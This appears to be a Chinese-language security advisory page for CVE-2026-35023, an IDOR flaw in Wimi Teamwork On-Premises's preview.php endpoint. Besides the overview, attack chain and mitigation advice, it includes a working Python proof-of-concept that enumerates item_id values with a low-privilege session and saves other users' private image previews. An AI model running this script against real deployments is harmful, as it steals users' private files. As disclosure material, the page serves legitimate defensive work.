IPBUF安全漏洞报告
English
CVE-2026-35023 CVSS 4.3 中危

CVE-2026-35023: Wimi Teamwork IDOR漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-35023
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wimi Teamwork On-Premises

相关标签

IDOR权限绕过信息泄露Wimi TeamworkCVE-2026-35023

漏洞概述

Wimi Teamwork On-Premises 8.2.0之前的版本在preview.php端点存在不安全的直接对象引用(IDOR)漏洞。由于该端点的item_id参数缺乏适当的权限验证机制,攻击者可以利用低权限账户,通过枚举连续的item_id值,未经授权地访问并下载其他用户私人或群组对话中的图像预览文件,从而导致敏感信息泄露风险。

技术细节

该漏洞的核心在于Wimi Teamwork On-Premises在处理preview.php请求时,未对请求的item_id参数与当前用户会话的权限进行有效绑定,导致了水平越权。攻击者首先需要注册一个普通用户账户以获取有效的低权限会话令牌。随后,利用自动化脚本遍历或猜测item_id(通常为数据库自增ID),向preview.php端点发送HTTP请求。由于服务端仅检查资源ID是否存在而未严格校验当前用户是否拥有该资源的访问所有权,攻击者能够成功检索到属于其他用户的私密图片或文件预览。此过程无需用户交互,攻击复杂度低,属于典型的IDOR漏洞,严重威胁用户数据的机密性。

攻击链分析

STEP 1
侦察
攻击者识别出目标站点使用Wimi Teamwork On-Premises,并确认preview.php端点的存在。
STEP 2
获取访问权限
攻击者在目标平台上注册一个普通用户账户,获取有效的低权限会话Cookie。
STEP 3
漏洞利用
攻击者编写脚本,使用该会话枚举连续的item_id参数向preview.php发送请求。
STEP 4
数据渗漏
服务器返回对应的图像预览,攻击者保存这些数据,成功获取其他用户的私密信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "https://target-domain.com/preview.php" # Attacker's cookie (Low privilege session) cookies = { "PHPSESSID": "valid_attacker_session_id" } # Headers to mimic browser headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } print("[*] Starting IDOR enumeration...") # Loop through sequential item_id values for item_id in range(1, 5000): params = { "item_id": item_id } try: response = requests.get(target_url, params=params, cookies=cookies, headers=headers, timeout=5) # Check if response indicates an image or valid content if response.status_code == 200 and "image" in response.headers.get("Content-Type", ""): print(f"[+] Found sensitive image for item_id: {item_id}") # Save the retrieved file with open(f"stolen_preview_{item_id}.jpg", "wb") as f: f.write(response.content) elif response.status_code == 403 or response.status_code == 404: # Expected behavior for non-existent or restricted (if fixed) items pass except requests.RequestException as e: print(f"[-] Error connecting to server: {e}") break print("[*] Enumeration completed.")

影响范围

Wimi Teamwork On-Premises < 8.2.0

防御指南

临时缓解措施
如果无法立即升级,建议通过网络访问控制列表(ACL)限制对preview.php端点的访问,仅允许受信任的IP地址访问;或者在Web应用防火墙(WAF)中部署规则,检测针对该端点的频繁请求或异常的ID枚举模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表